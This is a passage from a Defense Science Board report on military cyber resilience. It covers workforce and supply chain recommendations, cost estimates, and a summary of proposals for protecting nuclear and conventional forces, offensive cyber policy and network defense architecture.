realistic cyberspace conditions in major DoD exer cises. In response to the Instruction, exercise planning has begun to address these realist ic conditions and most notably to understand and redress the shortcomings.37 While these efforts offer promise, they need to be developed into a more comprehensive and systematic approach to fully address the mission assurance limitations and meet the inte nt of the Instruction. 10.1.3 Developing the Cyber Work Force: Developing and meeting standards and requirements will require a technologically competent cyber workforce. The workforce must be capable of providing disciplined system architecture , engineering expertise and operational knowhow capable of specifying buildable , measureable, and testable systems that support the overall realization of cyber resiliency . Developing an ability to correct known ( Tier I -II) vulnerabilities in complex, inte rconnected systems requires both a global perspective ( not typically present at the Program Manager level) and technical expertise at the Component level. Developing a capability to rapidly respond to the discovery of new vulnerabilities (Tier III -IV) requires implementation of new concepts in the requirements, acquisition, testing and operational communities. Success against the Tier V -VI threats (causing frustration and additional cost for the attackers) will require informed decisions balancing operational objectives and technical performance --to include out -of-band communication capacity and degraded modes of operation in the cyber environment. 36 CJCSI 6510.01F: Informa tion Assurance and Support to Computer Network Defense, 9 February 2011 37 DoD 8570.01 -M; Information Assurance Workforce Improvement Program, December 19, 2005 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 10.0 Building a Cyber Resilient Force | 75 Resilient Military Systems and the Advanced Cyber Threat The technical cyber workforce must work across the capability lifecycle. Standards and requirements are addressed above but the Acquisition Community (e.g. Development Centers, Depots and industrial partners) bears a significant responsibility in this endeavor. DoD systems are acquired through development centers with responsibility for specific mission are as (e.g. space systems, aircraft, ships, C2 systems, etc.). Since virtually all DoD systems use cyber components in increasingly critical roles, all development centers must engage the c yber security challenge. Depots are charged with maintenance and updating of substantial components of the DoD infrastructure and will be targeted by those seeking to compromise the DoD cyber capability, just as are the other elements of the system lifecycle infrastructure. Industrial partners that produce DoD systems must also address the cyber threat. 10.1.4 Development of Secure System Technology : In addition to failures in cyber hygiene and in tepid response to exposed c yber shortcomings and transgressions, it is clear that the DoD and its community do not possess tools to produce and operate systems at a high enough level of cyber integrity. One potential architectural solution is identified by the other component of the DSB Cyber initiative, the DSB Task Force on Cybersecurity and Reliability in a Digital Cloud . That Task Force examined the applicability of cloud architecture to DoD uses. Th at study determined that a well-architected cloud significantly enhance s the ability to deal with known Tier I -II vulnerabilities and could provide advanced analytic capabili ty to mitigate Tier III- IV threats. However, the study acknowledges that today’s cloud architecture s are not applicable to all DoD systems (e.g. nuclear command and control) and will not address legacy systems , therefore other solutions are required. The DoD science, technology and engineering community must engage with those in academia, government laboratories, and industry working innovative c yber technologies, processes and disciplines needed to raise the level of our national competency and capabi lity in secure systems. System security engineering is a discipline that needs particular attention, and can be a bridge between the engineering and IT communities. Areas to be pursued in the longer term include: development of special purpose system architectures with inherent resilience, systematic analysis of potential modes of cyber vulnerability of systems, use of emerging technology developments for system resilience, such as trust anchors, minimal functionality components, simplified operating sys tems, developing a means to verify compromise of fielded systems contributing to critical missions , creating trust in systems built with un- trusted components, and restoring to a known state (“gold standard”) . Addressing Infrastructure Vulnerabilities : Although not specifically tasked to examine infrastructure vulnerability, it became readily apparent to the Task Force that infrastructure is vulnerable to the cyber threat. The Task Force identified some areas of technology for rapid development that potentially increase the cyber security of critical infrastructure systems. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 10.0 Building a Cyber Resilient Force | 76 Resilient Military Systems and the Advanced Cyber Threat Similar to previous DSB work38 involving infrastructure vulnerability, DoD's primary interest in critical infrastructure is associated with its force projection capability. However, as discussed in previous chapters, the Task Force finds that a catastrophic cyber attack on the infrastructure poses an existential threat to the nation. Fortunately a number of infrastructure systems (e.g. power systems, water systems, air traffic control s ystems ) share characteristics that could allow better protection from cyber attacks (e.g. relatively few in number, can be operated with modest bandwidth, and can tolerate decision time cycles in seconds instead of microseconds). Potential areas of consideration which need to be addressed to mitigate infrastructure vulnerabilities include:  Trusted hardware coprocessors with appropriately validated software;  Techniques to monitor and verify tampering;  Encryption;  Reset mechanism through parallel processor ;  Insider protection schemes (e.g. 2 -person rule for critical system override). As long as DoD mission success relies upon infrastructure, it must actively engage in and encourage efforts to reduce infrastructure vulnerability. 10.1.5 Component Sourcing - Intelligence Community Initiate Supply Chain Collection Activity : DoD is in the process of institutionalizing a Supply Chain Risk Management (SCRM) strategy. The strategy prioritizes scarce security resources on critical mission systems and components, provides supply chain intelligence analysis to acquisition programs, and incorporates vulnerability risk mitigation requirements into system designs via engineering and acquisition practices. Component sourcing is an increasingly important contributor to c yber resiliency. An increasingly globali zed development and production system supplies the electronic components (hardware, software and firmware) of DoD systems. P roduction of these “parts”, sometimes including customized parts, external to the U nited States comprises a serious threat vector to the U .S. DoD architecture and systems. If DoD is to improve c yber defense and resiliency of DoD systems, it must better understand the implications of the supply chain for the components of U .S. systems, includin g the substantial amounts of custom hardware and software developed, deployed, operated and maintained in systems by and for the DoD . Several approaches exist to address untrustworthy or unprotected sources. Supply chain assessment is an essential comp onent of an overall cyber resiliency approach. However, many tiers in the supply chain (designers, producers, brokers, subsystem suppliers, major system integrators, etc.) limit visibility and make the origins of components difficult to track and certify. DoD’s previous use of a trusted foundry program addresses both untrustworthy source issues and also missions requiring such limited number of parts (e.g. radiation hardened components) 38 DoD Energy Strategy (published Feb 2008); Critical Homeland Infrastructure Protection (publi shed Jan 2007); DoD Roles and Missions in Homeland Security (November 2003). DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 10.0 Building a Cyber Resilient Force | 77 Resilient Military Systems and the Advanced Cyber Threat as to be economically unviable for commercial chip manufacturers. Ho wever, trusted foundries are capital intensive and present challenges with ensuring the broad spectrum of DoD microelectronics needs, which span generations of technology as well as leading edge. Fortunately, market forces provide an economic incentive to some companies to pursue c yber integrity of their products . DoD will need to share best practices with these same companies as part of its resilient force buildup . 10.2 Recommendation : Build a Cyber Resilient Force. 10.2.1 DEPSECDEF should direct specific actions to introduce cyber resiliency requirements throughout DoD force structure. 10.2.1.1 The DoD CIO, in coordination with USD(AT&L) should establish a resiliency standard which can be used to design, build and measure capability against. The Joint Staff will use the standard to inform the requirements process. Realizing that the standards are likely to evolve as the cyber threat evolves, t he Task Force identified certain characteristics that the Department should address as it develops the standards and requirements for cyber resiliency to apply to key conventional force capabilities designated as components of the escalation ladder describ ed in Chapter Five . These include:  Until a return to a TRUSTED, known state capability is developed, the forces and capability components providing a cyber critical survivable mission must be controlled throughout their lifecycle and segregated from gen eral purpose forces, including use of and connection to general force networks. Segregation must provide sufficient capability to provide a credible component of the escalation ladder yet not be so large as to create a resource black hole.  Maintaining component awareness/control is an important feature of resiliency. Desired awareness measures include sensing and reporting of buffer overflow conditions and bit parity checks, reporting and control of update/file transfer points (e.g. USB ports), and in t he future --real time or near real time monitoring at the component level to ensure authentic components/software are installed.  Maintain network awareness/control. Install sensing points to measure network performance and patterns, develop and maintain trusted log audit capability, and incorporate trusted and automated patch/update capabilities.  Support the operational environment such as the conditions under which a system can be connected to specified network, conditions under which it must be disconne cted or operate in a degraded mode (e.g. using an out -of-band path that supplies x% of the unfettered capability ), and recovery mechanisms. The Department must write achievable and testable requirements. For example, establishing a requirement that “Sys tem X” must be protected against a Tier III- IV threat will force the test community to engage in an infeasible activity as they are DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 10.0 Building a Cyber Resilient Force | 78 Resilient Military Systems and the Advanced Cyber Threat forced to certify a system against undiscovered vulnerabilities. The Task Force is wary of the efficacy of establishing a resilience “ility” to work in the same trade space as other “ilities”. This approach tends to be bureaucratic and prior to adoption, must demonstrate real effectiveness against the cyber threat. 10.2.1.2 Apply the cyber resiliency standard to the segmented force identified as part of the escalation ladder described in Chapter Five. In the absence of a cyber threat, the segmented forces are likely to possess slightly less capability than their non -segmented counterparts due to the isolation from every part of the supporting infrastructure which generates so much advantage to DoD. However, in the face of an adversary employing cyber, the segmented forces will provide far more capability than the non -segmented counterparts. Subsets of the cyber resiliency require ments for cyber critical survivable missions should be incorporated into the rest of the force structure to defend against Tiers I/II, mitigate the effects of Tier III- IV attacks, and drive up the costs for Tier V -VI attacks. 10.2.1.3 Increase feedback from testi ng, red teaming , intelligence community, and modeling and simulation as a development mechanism to build out DoD’s cyber resilient force (USD(AT&L ), USD(I), DOT&E, SAE s, CJCS) DoD must ensure feedback from these exercises impact s system designs , upgrades, CONOPs and TTPs. Lacking a full -scale cyber conflict, DoD will struggle to understand the full implications and effects of the cyber threat. DoD must fight through compartmentalization, understand a nascent but significant capability with limit ed real operational experience, and avoid typical first adopter mistakes to maximize its resiliency while retaining the huge advantage gained through the networking. The feedback mechanism will also aid the creation of processes to inform development efforts for new and evolved c yber threat vectors. 10.2.1.4 For programs not part of the segmented force , provide a cyber standard set of requirements (expected to be a subset of the critical program requirements list) to be applied to all DoD programs (USD(AT&L), DoD CIO, SAEs)) The DoD CIO, in coordination with USD(AT&L) should establish a subset of the resiliency standard developed above which can be applied to the rest of the force structure. The subset should be applied at every available opportunity (e.g. new starts, refurbishment, and repair). Legacy systems unable to meet the standard should be isolated or replaced. The Department must still discipline itself in its application of the subset of resiliency standard to the rest of the non- escalation ladder components. Not every capability must protect against a Tier III- IV threat but all must defe nd against a Tier I -II threat. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 10.0 Building a Cyber Resilient Force | 79 Resilient Military Systems and the Advanced Cyber Threat In addition, initial incorporation of the subset of the resiliency standard is likely to require dedicated management to identify a nd overcome the issues with implementation. The Task Force urges the Department to apply the initial subset of resiliency standards to ACAT 1 programs. Once experience is gained , the resiliency standard can be applied across the Department. 10.2.1.5 Develop DoD- wide cyber technical workforce to support the build out of the cyber critical survivable mission capability and rolled out to DoD force structure (USD(AT&L), CIO, SAE s, DOT&E, USD(I) , USD(P&R)) . The technical cyber workforce must function across the capability lifecycle. Similar to the requirements to develop and attract the correct level of cyber talent for DoD’s offensive and defensive missions, USD(P&R) must develop supporting policies to build the cyber workforce. The Acquisition Community (e.g. De velopment Centers, Depots and industrial partners) bears a significant responsibility in this endeavor along with the operational forces, test community, and scientific and engineering community. Historically, s ecurity functional responsibilities were assigned to security specialists who typically do not possess an engineering background. While no t all participants need to be qualified to work at the highest levels, DoD must ensure that sufficient workforce capability exist s. Programs for training and certification must be developed or enhanced so that qualific ations can be measured and used in personnel and acquisition decisions. Equal attention must be applied to develop expertise to address system security during design, manufacturing, and sustainm ent phases of the lifecycle, with particular attention paid to controlling and limiting opportunity for malicious manipulation of components. 10.2.1.6 The Science and Technology community should establish a secure system design project with FFRDC s, UARC s, academia , commercial and , defense industr y (ASD R&E, Initiate in FY13; four -year research activity) . The DoD science, technology and engineering community must engage with those in academia, government laboratories, and industry working innovative c yber techno logies, processes and disciplines needed to raise the level of our national competency and capability in secure systems. Areas to be pursued in the longer term include: development of special purpose system architectures with inherent resilience, systema tic analysis of potential modes of cyber vulnerability of systems, use of emerging technology developments for system resilience, such as trust anchors, minimal functionality components, simplified operating systems, developing a means to verify compromise of fielded systems contributing to critical missions , creating trust in systems built with un- trusted components, and restoring to a known state (“gold standard”) . DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 10.0 Building a Cyber Resilient Force | 80 Resilient Military Systems and the Advanced Cyber Threat 10.2.1.7 The Intelligence Community should initiate a supply chain collection activity (USD(I), 18 months) . The DoD should assess the end -to-end process by which electronic “parts” and systems are produced by select companies to determine if what is known of the cyber threat vectors , including those in Tier V -VI, is appropriately reflected in the efforts of the suppliers. In addition, there is a nexus between c yber threat and relabeled and counterfeit hardware in DoD systems. Both DoD and industry counterfeit mitigation efforts should be developed further in conj unction with DoD cyber defense efforts. The DoD must similarly assess the software supply chain to gain an understanding of the cyber threat vectors and to understand where mitigation might be possible, practical and affordable. In the parallel DSB st udy on Cyber Security in Cloud Computing, presentations were received from COTS software suppliers detailing their efforts to create processes for producing high(er) c yber integrity software. DoD should assess best practices in industry for threat mitigation and resiliency engineering, and where appropriate incorporate them into DoD processes and encourage their use in the broader supply chain. The Acquisition Community must develop partnerships for select capabilities that will enhance the Department’s cyber posture. It is generally accepted that the U .S. Intelligence Community possesses the best understanding of the Cyber threat vectors facing the U nited States . The Intelligence Community must be tasked with specific collection, analysis and reporting requirements on the cyber threat vectors, priorities and activities of U .S. adversaries. Although the Defense Intelligence Agency (DIA) has initiated efforts to provide supplier threat information to the Major Defense Acquisition Program ( MDAP ) acquisiti on community, it is not sufficiently broad or mature to serve the needs of critical mission systems. Mechanisms must be developed to share the resulting intelligence assessments, as appropriate, among the significant players in the DoD supply chain and bro ader national industries . 10.3 Integrated Cyber Requirements Measures As response to the cyber threat becomes a mainstream component of how DoD operates, it must be reflected in the acquisition cycle used to purchase equipment and systems. Notional performance metrics are depicted in Figure 10.2. The first measure proposed is a simple measure of whether cyber requirements have been included in the acquisition plans and requirements for those systems defined as most critical as part of the co nventional deterrent capability. Exactly what is meant by cyber requirements is left to the discretion of the Department. The Task Force envisions such requirements going beyond encryption, storage, and multilevel security, and including requirements to pr ovide sensor points and reporting to better understand if a system has been compromised. For example, if the processor of a system executing activities is not consistent with the expected activities associated with that mission or if buffer register overflows are occurring, etc. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 10.0 Building a Cyber Resilient Force | 81 Resilient Military Systems and the Advanced Cyber Threat We would expect the same level of requirements, once understood and trialed on the most critical systems, to evolve into the remaining DoD systems, starting first with ACAT 1 programs. Figure 10. 2 Integrated Cyber Requirement Measures DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 11.0 Order of Magnitude Cost Estimates | 82 Resilient Military Systems and the Advanced Cyber Threat UNCLASSIFIED 11.0 Order of Magnitude Cost Estimates The Task Force did not prepare detailed cost estimates for the recommendations in this report. However, due to the fiscal constraints expected in U .S. budgets for the next several years, estimates to the rough magnitude of investment are shown in Table 11. 1. Table 11. 1 Estimated Investment Requirements for Study Recommendations ROM Timeframe 1 & 2 Protect the Nuclear Strike as a Deterrent (for existing nuclear armed states and existential cyber attack). Determine the Mix of Cyber, Protected -Conventional, and Nuclear Capabilities Necessary for Assured Operation in the Face of a Full -Spectrum Adversary. $$$$ 36-60 mo. 3 Refocus Intelligence Collection and Analysis to Understand Adversarial Cyber Capabilities, Plans and Intentions, and to Enable Counterstrategies. $ 12-24 mo. 4 Build and Maintain World -Class Cyber Offensive Capabilities (with appropriate authorities). $$ 12-24 mo. 5 Enhance Defenses to Protect Against Low and Mid -Tier Threats. $ 6-18 mo. 6 Change DoD’s Culture Regarding Cyber and Cyber Security. $ 12-48 mo. 7 Build a Cyber Resilient Force. $$ 12-24 mo. ROM Costs $ <$50M/yr, $$ $50M -$100M/yr, $$$ $100M -$500M/yr, $$$$ >$500M/yr Even within a difficult budget environment, much can be done to address challenges faced in the cyber domain. The Task Force believes it is essential that the Department move quickly to better understand the cyber threat and how it relates to national defe nse and issues of deterrence and escalation. The only recommendations expected to require a large amount of resources are those to ensure the U .S. strategic deterrent is protected to a high degree of confidence and those that build out a protected set of conventional capabilities. While the basic capabilities and components of these systems exist today, understanding and remedying their cyber vulnerabilities, separating their C2 systems and providing backup or war reserve capabilities to ensure available operation in the face of an aggressive attack by a sophisticated adversary, will require time and resources. 11.1 Recommendation : Protect Nuclear Strike, Ensure Availability of Conventional Capabilities U.S. nuclear capabilities are well isolated and go through regular evaluations of risk against outside forces. Adding analysis and testing against Tier V -VI adversaries is needed to maintain a high level of confidence in the availability of the systems. As t he Department considers which systems would make up the ensured conventional strike, there is a range of approaches available to improve the availability of those systems against the cyber threat. Completely isolating systems, redesigning with components from trusted foundries, adding additional DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 11.0 Order of Magnitude Cost Estimates | 83 Resilient Military Systems and the Advanced Cyber Threat UNCLASSIFIED modes for navigation, and fire controls could very quickly lead to costs of billions of dollars. The Task Force feels there are logical compromises that could be made to greatly improve the confidence of system avai lability during a cyber attack without requiring a total redesign of systems. For instance, focusing some of the capabilities into the submarine force where isolation is already designed into how they operate and fight. U .S. strategic bombers currently use the same air platforms for nuclear and nonnuclear missions. There is a risk due to the broader personnel access allowed during the nonnuclear missions that could impact nuclear missions. Dedicating a number of the bombers to only conduct nuclear or critical conventional missions (as defined in Recommendation 2), and not letting those platforms be utilized for other missions could substantially reduce the risk of cyber compromise of the systems . 11.1.1 Recommendation: Refocus Intelligence The recommendations ar ound refocusing our intelligence effort are viewed by the Task force as a shifting of priorities and reallocation of a portion of our counterterrorism capabilities toward the advanced cyber threat and therefore not expected to drive significant cost growth. 11.1.2 Recommendation: Build/ Maintain World-Class Cyber Offense While the U nited States need s to scale up its cyber offensive capabilities, the size of force to support cyber offense is not expected to be as large -scale as that to defend its systems. The development of modeling and test capabilities are very important to understand this new domain. The overall investment is expected to be moderate. 11.1.3 Recommendation: Enhance Cyber Defenses The Department already spends significant resources attempting to defend our networks and protect our data. The enterprise architecture recommendation, coupled with the automation recommendations , should actually reduce some of the effort DoD spends today. Gains in efficiency by eliminating many of the mundan e tasks through automation can be used to expand Department’s efforts toward hunting for intruders within DoD 's networks. The Task Force expects the overall cost to remain about the same as today, but the performance results and efficiencies should improv e dramatically. 11.1.4 Recommendation: Change DoD Cyber Culture While a huge challenge for the Department, money is not a limiting factor. The price to execute this recommendation is measured in the will and determination of DoD leadership. Training expense, which is a time cost only for people already paid for through department budgets, is not expected to impact budgets. 11.1.5 Recommendation: Incorporate of Cyber Requirements into System Lifecycle The Task Force focused on the expense of introducing cyber requi rements to acquisition programs. If done carefully, rolling cyber requirements into new programs throughout the lifecycle should drive only moderate costs into those programs. The alternative is to continue building systems that have little chance of performing as expected in the face of a peer adversary. Developing and gaining experience in building testable cyber requirements will take DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 11.0 Order of Magnitude Cost Estimates | 84 Resilient Military Systems and the Advanced Cyber Threat UNCLASSIFIED time and require developing the workforce to manage through the Department. The DoD must avoid the trap of trying to r equire a system to be defendable against all comers, thereby putting an ever -evolving (and un -testable) requirement onto the acquisition community and the development contractor (s). The focus must be on architectures and techniques that allow the systems t o be adapted as cyber threats evolve, and can be tested along the way. ( We can test an alternate communications path, a degraded operations mode, overflow buffers in a processor, etc. ) The Task Force recommends beta testing new requirements on the define d critical systems first, then using that experience to impact ACAT 1 programs, and continuing to smaller efforts. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 85 Resilient Military Systems and the Advanced Cyber Threat 12.0 Summary of Study Recommendations 12.1 Recommendation : Protect the Nuclear Strike as a Deterrent (for existing nuclear armed states and existential cyber attack).  SECDEF assign US STRATCOM the task to ensure the availability of Nuclear C3 and the Triad delivery platforms in the face of a full -spectrum Tier VI attack – including cyber (supply chain, insiders, communications, etc.) This Task Force recommends immediate action to assess and assure to national leaders hip that the current U .S. nuclear deterrent is also survivable against the full- spectrum cyber Tier V -VI threat described in the taxonomy of this report. Note that a survivable nuclear triad within a full-spectrum , cyber -stressed environment is required regardless of whether or not one believes U.S. retaliatory response with our nuclear forces is a credible response to a major cyber attack. In other words, the basic characteristics of the traditional U .S. nuclear deterre nt incorporates s urvivability as a basic precept ; now the U .S. must add survivability in the event of a catastrophic cyber attack on the country as a basic precept. 12.2 Recommendation: Determine the Mix of Cyber, Protected -Conventional, and Nuclear Capabil ities Necessary for Assured Operation in the Face of a Full -Spectrum Adversary.  SECDEF and CJCS (12 months) The Task Force is confident in the need for assured operation to all three – cyber , protected- conventional, and nuclear – capabilities , includin g their required C3I infrastructures, a gainst advanced cyber threats. Further analysis is necessary to determine the optimal mix of these capabilities , especially the role of offensive cyber and protected -conventional to form the rungs of an escalation lad der designed to introduce elements of deterrence against V -VI attackers . As a starting point, the Task Force proposes the basic force elements comprising a protected - conventional capability take the form of a survivable second strike conventional missio n listed below:  Long -Range Bombers with precision cruise missiles – currently operational with varying force mix options and numbers  SSGN with long -range precision cruise missiles – currently operational with capability up through Tomahawk Block IV (offering an upper limit of greater than 600 weapons assuming four SSGNs at sea)  Conventional ballistic miss iles or ballistic/glide hybrids --none currently operational; experimental concepts being tested.  Survivable national and CCMD C2 leveraging nuclear thin line  Build “true” Out- of-Band Command and Control for the most sensitive systems DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 86 Resilient Military Systems and the Advanced Cyber Threat  War reserve simplified operating systems 12.2.1.1 SECDEF assign UCP Mission of Protected -Conventional Strike to US STRATCOM .  USSTRATCOM given target for IOC (24 months)  USSTRATCOM provide desired planning factors (pre -”launch” survivability, Communications and C2 reliability, targeting/damage expectancy, etc) (6 months)  USD(AT&L) , in coordination with CIO, perform an SoS analysis on selected conventional strike capabilities to determine risk and define an acquisition plan to ensure an enduring survivable capability (6 months) 12.2.1.2 DoD engage multi -agency counterparts for an updated Strategic Deterrence Strategy in 2014 NPR – cyber e scalation scenarios on both sides (12 mont hs) 12.3 Recommendation: Refocus Intelligence Collection and Analysis to Understand Adversarial Cyber Capabilities, Plans and Intentions, and to Enable Counterstrategies.  SECDEF , in coordination with the Directors of CIA, FBI, and DHS, should require the DNI to enhance intelligence collection and analysis on high -end cyber threats. Request the creation of an intelligence community -wide implementation plan that defines implementable enhancements, and their resource impact on DoD and DHS elements, and CIA and FBI. (12 months) Subversions of sophisticated hardware and software system are extraordinarily difficult to detect through testing and inspection. This led the DSB Task Force to conclude that deeper intelligence about adversaries’ offensive software and hardware tools is essential to counter high -end, state -sponsored cyber threats , because it can help focus U .S. efforts on likely targets of compromise. This intelligence must include :  Identification and understanding of advers arial cyber weapon development organizations, tools, leadership, and intentions;  Development of targeting information to support initiatives to counter cyber weaponization;  Accurate assessment of adversarial plans and capabilities for policy makers . 12.3.1 In response to state -sponsored threats, the Task Force recommends the creation of a counterintelligence capability to directly address the most sophisticated threats using tools and techniques derived from both defensive and offensive U .S. cyber programs.  Additional details are provided in Appendix 6. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 87 Resilient Military Systems and the Advanced Cyber Threat 12.4 Recommendation : Build and Maintain World -Class Cyber Offensive Capabilities (with appropriate authorities). 12.4.1 Commander USCYBERCOM Develop a C apability to M odel, War Game, Red Team and Eventually T rain for Full Scale Peer-on-Peer Cyber Warfare.  Select an FFRDC -like Center of Excellence . (within 6 months)  Develop capability to model peer -on-peer (red & blue with supporting situation awareness tools and techniques) full-scale conflict, similar to nuclear exchange models (trigger uncertainties, deliver link probabilities, blow -back risk, recovery abilities and timelines, etc.) (IOC within 18 months of contract award)  Develop model and validate —evolve through red team and cyber range/war game exercises. Mo ve beyond tabletop level of sophistication. (IOC within 18 months of modeling capability ) Planning for and successfully executing a single offensive cyber operation requires a significant broad set of competencies (e.g. computer science , engineering , encr yption, linguistic s, geo - political context, military planning and targeting , and more) . Given peer and near -peer adversaries who may wish to challenge the United States via cyber aggression, the DoD must develop the capacity to conduct many (potentially h undreds or more) simultaneous, synchronized offensive cyber operations, while defending against a like num ber of cyber attacks . Understanding interactions and dependencies involved in large scale cyber battle will be required to plan the battle, determine the scale of forces required, and conduct operations at time of conflict. Moreover, the adversary gets a vote. Cyber war is unlikely to be fought as the U nited States might like to assume it will be. The U nited States must be ready to adapt to an adversary that is willing to create its own rules. 12.4.2 USD(P) should establish a policy framework for Offensive Cyber Actions to include who has what authority (for specific actions), under what circumstances, under what control s.  Completion Date: 18 Months The appropriate authorities must exist with those responsible to protect U .S. interests. Cyber actions can take place in very short time periods and those responsible to protect the country must understand their role s and authorities. This Task Force has not extensively studied or made recommendations about the definition of “appropriate authorities.” Several other efforts are underway in the administration to address this issue and DoD is only one of many players in the broad protection of the United States against cyber attack. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 88 Resilient Military Systems and the Advanced Cyber Threat 12.4.3 Commander, USCYBERCOM to increase the number of qualified cyber warriors, and enlarge the cyber infrastructure commensurate with the size of the threat.  Completion Date: 18 Months The Do D has qualified cyber warriors today, who are supported by robust training programs and cyber toolsets. However there appears to be a “burnout factor” beginning exhibit itself among these elite people. The Department must scale up efforts to recruit, provi de facilities and training, and use effectively these critical people. 12.4.4 USD(P&R) , in collaboration with the Commander, USCYBERCOM and the Service Chiefs establish a formal career path for DoD civilian and military personnel engaged in “Offensive Cyber Ac tions”  Address training and certification requirements  Define career designations  Define incentives for personnel achieving higher levels of certification  Ensure that there is a cadre of high -end practitioners  Completion: 18 Months with quarterly reviews with the DEPSECDEF “Cyber Warrior” is a new domain for the Department, and this new class of job will require career paths, training expectations and incentives to attract and develop the needed expertise. It is not clear that high -end cyber practitioners can be found in sufficient numbers within typical recruitment pools. The DoD has the ability to define what it needs and adjust its personnel policies to enable achievement of that goal. 12.5 Recommendation: Enhance Defenses to Protect Against L ow and Mid -Tier Threats. 12.5.1 Recommendation: Establish a n enterprise security architecture, including appropriate “Building Codes and Standards”, that ensure the availability of enabling enterprise missions . The architecture should allow for the ability to :  Segment the network  Provide continuous monitoring and situational awareness  Automate patch and threat management functions  Audit to the enterprise standard  Recover to a known (trusted) state  Provide out -of-band command and control for most sensitive systems  Responsibility: DoD CIO (in collaboration with Military Departments and Agencies). Due Date – 6 months DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 89 Resilient Military Systems and the Advanced Cyber Threat The goal of a consistently applied and managed architecture across the Department is to take the low -tier threats off the table, thereby reducing the noise level on DoD networks. More effective mitigation of mid and high tier threats then becomes feasible. 12.5.1.1 Segment the Network The Department already operate s a mesh of networks that can be controlled independentl y. That concept should be extended through all operational war fighting systems, and tests/trials/red teams should be conducted to understand the capabilities and impacts of disconnecting an infected network to prevent infection of other, interconnected networks . 12.5.1.2 Provide Continuous Monitoring and Situational Awareness Sensor deployment has begun at Internet access points to monitor and control access and network traffic flow. C ommercial tools have advanced to include capabilities to operate behind firewalls and to track anomalous activity throughout the components of a network. It is essential to provide continuous monitoring of all networks against cyber attack (see State Department example in Figure 8. 1). The information assurance of operational systems is typically achieved through encryption of data during network transport (and occasionally at rest - while stored) or multi -level security solutions geared toward the safe handling of multiple security level s of data on the same computer (processor). D ata must be decrypted prior to processing, and advanced attacks being used today access the data at that point , thereby circumventing the encryption. Little consideration goes into military system design today on providing test points that can report system health and operation (sensors). Are checksums overflowing in the processor? Is the processor conducting unexpected computations ? There are many “tells ” (symptoms) that could be detected and reported. And although such test points and their data transmission would also become targets for cyber attack, an adversary must now have a more detailed understanding of system internals to design a successful attack. 12.5.1.3 Automate Patch and Threat Management Functions The scale of manual efforts is largely driven by legacy systems using unsupported software operating systems and the lack of consistency in network technology implementation across the Department. The recommendation to isolate systems utilizing older software (no longer maintained by commercial industry) means those systems are removed from the group of components that is regularly updated for malware and other software attacks and then assuming that those systems are likely compromised. The larger GIG is then protected from those syst ems through strong interface firewalls and detection software. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 90 Resilient Military Systems and the Advanced Cyber Threat Most of the COTS technologies available today have user interfaces that allow high levels of flexibility for determining what is deemed unusual network behavior, allowing system administrato rs to adjust and adapt the monitoring systems as threats evolve. 12.5.1.4 Audit to the Enterprise Standard Conduct audits and in- process reviews to develop migration and mitigation strategies (systems that cannot be maintained in a timely matter should be restru ctured into enclave s and isolated from the GIG through firewalls ). The most important part of the recommendation concerns accountability and consistency that must come from senior leadership support and enforcement. Without this management imperative, an attempt at cultural change to improve cyber security will not be taken seriously within the Department. 12.5.1.5 Build Network Recovery Capability It is not unusual for a sophisticated adversary, who has infiltrated a network, to monitor in real time as the network owners try to kick them out. Frequently, the adversary then implements a counter to the network owner’s defensive actions and can be back in the network in a matter of minutes or hours. To fight and win in a war that includes cyber capabilities, DoD can’t afford to have the enemy inside its control loops. If DoD is in that situation, then it needs backup (war reserve) mechanisms for C2. Less critical systems need the ability to communicate over an alternative system to address network intrusions , forcing an adversary to penetrate multiple systems and be able to operate both in an integrated, real time fashion to track DoD counterattacks . 12.5.1.6 Recover to a Known (Trusted) State The goal DoD for operational systems should be to:  Develop the ability to know (and report) if the network or system has been penetrated,  Gracefully degrade or have provision for alternate mechanisms to continue the most critical mission functions and  Recover eventually to a known (trusted) state. Earlier recommendations addressed the first two goals . The last goal is perhaps the most challenging. The Department must develop methods to evolve trust ed copies of operating software for systems that ensure only the desired cha nges are made in the “ gold copy” . The Department should continue to search the commercial and contractor space to develop tools with higher levels of automation for this function. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 12.0 Summary of Study Recommendations | 91 Resilient Military Systems and the Advanced Cyber Threat 12.5.2 Recommendation: The DoD should leverage commercial technologies to automate portions of network maintenance and “real -time” mitigation of detected malware.  Build on existing tools and capabilities currently in use  Automate response to threat conditions  Leverage cyber ranges to test emerging technology and develop TTPs and guide inve stment strategies  Develop mitigation/transition plans for legacy systems  Responsib ility: DoD CIO , with support from NSA -IAD, IOC: 6 months, with enhancements released on a quarterly basis As discussed above, modern COTS software has dramatically improv ed and can provide automation of several key network management functions. The software products sit at the firewall and behind the firewall, which is particularly important to find and track advanced persistent threats. While these technologies do not address Tier V -VI threats directly, when properly deployed, they make an attacker’s task of moving data throughout the systems, while remaining undetected, much more difficult. Our goal is to raise the costs for the Tier V -VI attackers to succeed, limiting the number of operations they can afford to attempt. 12.5.3 Recommendation: USD(P&R) should , in c ollaboration with the DoD CIO and the Service 